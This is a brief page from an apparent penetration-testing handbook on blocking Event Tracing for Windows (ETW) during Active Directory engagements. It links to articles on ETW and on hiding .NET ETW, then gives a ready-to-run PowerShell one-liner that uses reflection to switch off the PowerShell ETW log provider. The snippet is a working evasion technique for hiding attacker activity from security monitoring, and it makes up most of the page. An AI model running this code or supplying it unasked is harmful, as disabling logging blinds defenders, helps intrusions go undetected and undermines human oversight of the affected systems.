> For the complete documentation index, see [llms.txt](https://ppn.snovvcra.sh/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://ppn.snovvcra.sh/pentest/infrastructure/ad/av-edr-evasion/etw-block.md).

# ETW Block

* <https://bmcder.com/blog/a-begginers-all-inclusive-guide-to-etw>
* <https://threadreaderapp.com/thread/1706772248802291929.html>

Blocking .NET ETW:

* <https://www.mdsec.co.uk/2020/03/hiding-your-net-etw/>

Blocking PowerShell ETW:

```powershell
[Reflection.Assembly]::LoadWithPartialName('System.Core').GetType('System.Diagnostics.Eventing.EventProvider').GetField('m_enabled','NonPublic,Instance').SetValue([Ref].Assembly.GetType('System.Management.Automation.Tracing.PSEtwLogProvider').GetField('etwProvider','NonPublic,Static').GetValue($null),0)
```
